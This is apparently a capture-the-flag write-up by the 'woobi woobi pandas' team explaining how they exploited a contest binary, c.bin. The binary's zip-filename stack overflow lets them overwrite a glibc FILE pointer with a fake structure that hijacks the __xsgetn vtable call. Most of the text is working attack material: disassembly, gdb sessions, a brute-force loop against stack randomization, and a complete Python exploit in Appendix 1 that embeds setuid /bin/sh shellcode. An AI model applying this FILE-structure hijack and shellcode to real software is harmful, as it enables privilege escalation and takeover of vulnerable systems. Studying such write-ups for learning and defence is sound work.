

a....
                       __    _                         __    _ 
 _      ______  ____  / /_  (_)  _      ______  ____  / /_  (_)
| | /| / / __ \/ __ \/ __ \/ /  | | /| / / __ \/ __ \/ __ \/ / 
| |/ |/ / /_/ / /_/ / /_/ / /   | |/ |/ / /_/ / /_/ / /_/ / /  
|__/|__/\____/\____/_.___/_/    |__/|__/\____/\____/_.___/_/   
                                                               
                           __          
    ____  ____ _____  ____/ /___ ______
   / __ \/ __ `/ __ \/ __  / __ `/ ___/
  / /_/ / /_/ / / / / /_/ / /_/ (__  ) 
 / .___/\__,_/_/ /_/\__,_/\__,_/____/  
/_/                                    

                                            Production
                                            


===[ Exploiting c.bin by overwriting a FILE pointers
by [pandas] Uri


===[ Introduction

Looking at the code of c.bin we wee that the program is expecting the name of a 
zip file as argv[1], then it opens and decrypts it.

In the main function we find several buffer overflows that take place while the 
program is parsing the Zip file structures. The problem is that we won't be able
to take profit of them as an exception is raised before getting to our 
overwritten EIP.

So we need to find another way to hijack the execution flow of our program before
we get to the end of the main function. Looking at the stack variables that are
overwritten, we see an interesting FILE pointer. This structure is very usefull as
it has pointers to the working functions : read_function, write_function, etc.

The plan will be to overwrite the FILE pointer so it points to an specially crafted
structure that will contain our shellcode as the READ working function.

We will overwrite the stack when the program is reading the file_name structure of
the zip :

.text:08048B94                 movzx   eax, [ebp+var_FILE_NAME_SIZE]
.text:08048B9B                 movzx   eax, ax
.text:08048B9E                 mov     [ebp+var_18], eax
.text:08048BA1                 mov     eax, [ebp+var_18]
.text:08048BA4                 mov     [esp+588h+var_584], eax
.text:08048BA8                 mov     [esp+588h+var_588], offset aFilenamesizeD ; "filenamesize = %d\n"
.text:08048BAF                 call    _printf
.text:08048BB4                 mov     edx, [ebp+var_18]
.text:08048BB7                 mov     eax, [ebp+file]
.text:08048BBA                 mov     [esp+588h+var_57C], eax
.text:08048BBE                 mov     [esp+588h+var_580], 1
.text:08048BC6                 mov     [esp+588h+var_584], edx
.text:08048BCA                 lea     eax, [ebp+var_100]
.text:08048BD0                 mov     [esp+588h+var_588], eax
.text:08048BD3                 call    _fread
.text:08048BD8                 lea     eax, [ebp+var_100]
.text:08048BDE                 mov     [esp+588h+var_584], eax
.text:08048BE2                 mov     [esp+588h+var_588], offset aFilenameS ; "filename : %s \n"
.text:08048BE9                 call    _printf

We control the value of var_FILE_NAME_SIZE, and we will be able to overwrite the stack
as much as 0xffff. The problem is that we need all the structures to be aligned perfectly
and that the program runs in a randomized_stack environment. In the contest our exploit
wasn't very reliable at all, but we managed to improve it quite a bit after sleeping some
hours : ).

We will follow by reading libc's "libio/iofread.c" and debugging the program while it crashes
on the "fread" function. To easy finding the offsets where everything is aligned we use 
"expoffset" module.

===[ Step one: Where is the FILE pointer overwrite ?

#0  0xb7ebfffe in fread () from /lib/tls/i686/cmov/libc.so.6

0xb7ebffd0 <fread>:     push   ebp
0xb7ebffd1 <fread+1>:   mov    ebp,esp
0xb7ebffd3 <fread+3>:   sub    esp,0x24
0xb7ebffd6 <fread+6>:   mov    DWORD PTR [ebp-0x8],esi
0xb7ebffd9 <fread+9>:   mov    esi,DWORD PTR [ebp+0x10]
0xb7ebffdc <fread+12>:  mov    DWORD PTR [ebp-0x4],edi
0xb7ebffdf <fread+15>:  mov    edi,DWORD PTR [ebp+0xc]
0xb7ebffe2 <fread+18>:  mov    DWORD PTR [ebp-0xc],ebx
0xb7ebffe5 <fread+21>:  call   0xb7e764bf <_Unwind_Find_FDE@plt+119>
0xb7ebffea <fread+26>:  add    ebx,0xfa00a
0xb7ebfff0 <fread+32>:  imul   edi,esi
0xb7ebfff3 <fread+35>:  test   edi,edi
0xb7ebfff5 <fread+37>:  je     0xb7ec00b8 <fread+232>
0xb7ebfffb <fread+43>:  mov    eax,DWORD PTR [ebp+0x14]             <=== Getting *File
0xb7ebfffe <fread+46>:  cmp    WORD PTR [eax],0x0                   <=== SIGFAULT
0xb7ec0002 <fread+50>:  js     0xb7ec004d <fread+125>

(gdb) p/x $eax
$1 = 0x33674132

samsa@Neptun:~/zip/randomize$ python expoffset.py 300 0x33674132
188


===[ Step two: reaching _IO_sgetn

We point the file to our buffer. Looking at iofread we see that we want to
reach the "_IO_sgetn" function. In order to get there, the first dword needs to
be negative, as we see in the previous debug session @ fread+46.

We put our first dword as : 0xffffffff and we reach the IO_sgetn function

(gdb) x/20i $eip-a
0xb7ec004d <fread+125>: mov    edx,DWORD PTR [ebp+0x8]
0xb7ec0050 <fread+128>: mov    DWORD PTR [esp+0x8],edi
0xb7ec0054 <fread+132>: mov    DWORD PTR [esp],eax
0xb7ec0057 <fread+135>: mov    DWORD PTR [esp+0x4],edx
0xb7ec005b <fread+139>: call   0xb7eccb90 <_IO_sgetn>        ( fp, buf, bytes_requested )

===[ Step three: Setting our _IO_XSGETN function correctly

* Looking at libc's code :

#define _IO_XSGETN(FP, DATA, N)  JUMP2 (__xsgetn, FP, DATA, N)
#define JUMP2(FUNC, THIS, X1, X2) _IO_JUMPS_FUNC(THIS)->FUNC.pfn (THIS, X1, X2)

_IO_size_t _IO_sgetn (fp, data, n)
     _IO_FILE *fp;
     void *data;
     _IO_size_t n;
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);
}

At APPENDIX 2 we pasted the interesting structures.

* Looking at gdb's disassembly :

0xb7eccb90 <_IO_sgetn>:         push   ebp
0xb7eccb91 <_IO_sgetn+1>:       mov    ebp,esp
0xb7eccb93 <_IO_sgetn+3>:       sub    esp,0xc
0xb7eccb96 <_IO_sgetn+6>:       mov    edx,DWORD PTR [ebp+0x8]             <== ebp+8 points to our buffer.
0xb7eccb99 <_IO_sgetn+9>:       movsx  eax,BYTE PTR [edx+0x46]
0xb7eccb9d <_IO_sgetn+13>:      mov    ecx,DWORD PTR [edx+eax*1+0x94]
0xb7eccba4 <_IO_sgetn+20>:      mov    eax,DWORD PTR [ebp+0x10]
0xb7eccba7 <_IO_sgetn+23>:      mov    DWORD PTR [esp],edx
0xb7eccbaa <_IO_sgetn+26>:      mov    DWORD PTR [esp+0x8],eax
0xb7eccbae <_IO_sgetn+30>:      mov    eax,DWORD PTR [ebp+0xc]
0xb7eccbb1 <_IO_sgetn+33>:      mov    DWORD PTR [esp+0x4],eax
0xb7eccbb5 <_IO_sgetn+37>:      call   DWORD PTR [ecx+0x20]
0xb7eccbb8 <_IO_sgetn+40>:      leave
0xb7eccbb9 <_IO_sgetn+41>:      ret

So the function pointer is @ FILE_STRUCT + BYTE[ File + 0x46 ] + 0x94 + 0x20

===[ Step four: The exploit.

In order to exploit the program we need to use this information to set a correct
FILE structure on our "zip" file. The problem is that the stack vms on the challenge
machines where randomized. What we will do is take profit that we can overwrite as
much as 0xffff bytes and repeat our structure 15 times, each one aligned to the
page size. There is no point on repeating them unaligned, as the stack randomization
is relative to the page size.

We will first crash the program with a non-suid copy of the vulnerable executable and
locate where our ZIP file buffer is located in the stack. After finding it we will
use this address as a parameter of our exploit. This way we wont be bruteforceing the
stack offset to our buffer, only the system stack randomization.

Using this tecnique and our FILE struct repetition, we can exploit the program with
an average of 256 tries : +- 20 seconds.

python rnd.py 0xbf991898

while true; do ./c.bin output; done

....
compressedsize = 0
uncompressedsize = 0
Segmentation fault (core dumped)

localheader size : 32
localfileheadrCRC : 41414141
bitflag = 7
filenamesize = 61440
filename : BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBxCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
compressedsize = 0
uncompressedsize = 0
$


APPENDIX 1 : Exploit
====================

import os
import struct
import sys

n_pages    = 15
page_size  = 4096

sc      =  "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

def crea_file_struct( stack ):
        file = ""

        file_begin = stack + 4 + 2 + 2 + 10 + 4*3 + 188 + 4 + 2 # NFI of last +2 2 diferent reads ?

        # File structure
        #
        file +=  struct.pack("L", 0xffffffff )
        file += "C"*(0x42)
        file += "\x00"                                  # OFFSET  = 0
        file += sc
        file += "D"*(0x90-0x43-len(sc))

        file += struct.pack("L", file_begin+0x98-0x20 ) # Where to get EIP -0x20
        file += struct.pack("L", file_begin+4+0x43 )    # EIP

        return file

# Stack is where our zip file beggins
#
def crea_zip( stack ):
        f = open("output", "w")

        print "Target stack : %08x" % stack

        size = n_pages*4096

        print "File size    : %08x" % size

        # Zip Headers
        #
        f.write( struct.pack(">L", 0x504b0304) )  # Zip magic number
        f.write( "A"*2 )         
        f.write( struct.pack("h", 7 ))            # The program is checking that this header is 7
        f.write( "B"*10 )
        f.write( struct.pack("L", 0) )    # sz _ compr
        f.write( struct.pack("L", 0) )    # sz _ norm
        f.write( struct.pack("L", size) ) # filename size OVFLW OMG!
        f.write( "C"*188 )

        # Overflow
        #
        sz_header  = 4 + 2 + 2 + 10 + 4*3 + 188 + 4 + 2  # Weird .. the last +2?
        file_begin = stack + sz_header
        f.write( struct.pack("L", file_begin) )

        file_struct = crea_file_struct(stack)
        f.write(file_struct)
        f.write( "D" * (page_size - sz_header - len(file_struct)) )

        # Other pages
        for i in range( 1, n_pages ):
                f.write( "E" * sz_header )
                f.write(file_struct)
                f.write( "F" * (page_size - sz_header - len(file_struct)) )

        f.close();

crea_zip(long(sys.argv[1],16))

env = {}

for i in range( 0, n_pages ):
        env[ "LIFT%d"%i ] = "A"*(4096)

# Setting some ENV args to "lift" stack.
os.execve( "./c.bin", ["./c.bin", "output"], env )



APPENDIX 2 : FILE structures
============================

#define _IO_JUMPS(THIS) (THIS)->vtable


#if _IO_JUMPS_OFFSET
# define _IO_JUMPS_FUNC(THIS) (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS ((struct _IO_FILE_plus *) (THIS)) + (THIS)->_vtable_offset))
# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset
#else
# define _IO_JUMPS_FUNC(THIS) _IO_JUMPS ((struct _IO_FILE_plus *) (THIS))
# define _IO_vtable_offset(THIS) 0
#endif


struct _IO_jump_t
{
    JUMP_FIELD(_G_size_t, __dummy);
#ifdef _G_USING_THUNKS
    JUMP_FIELD(_G_size_t, __dummy2);
#endif
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};


struct _IO_FILE {
  int _flags;           /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
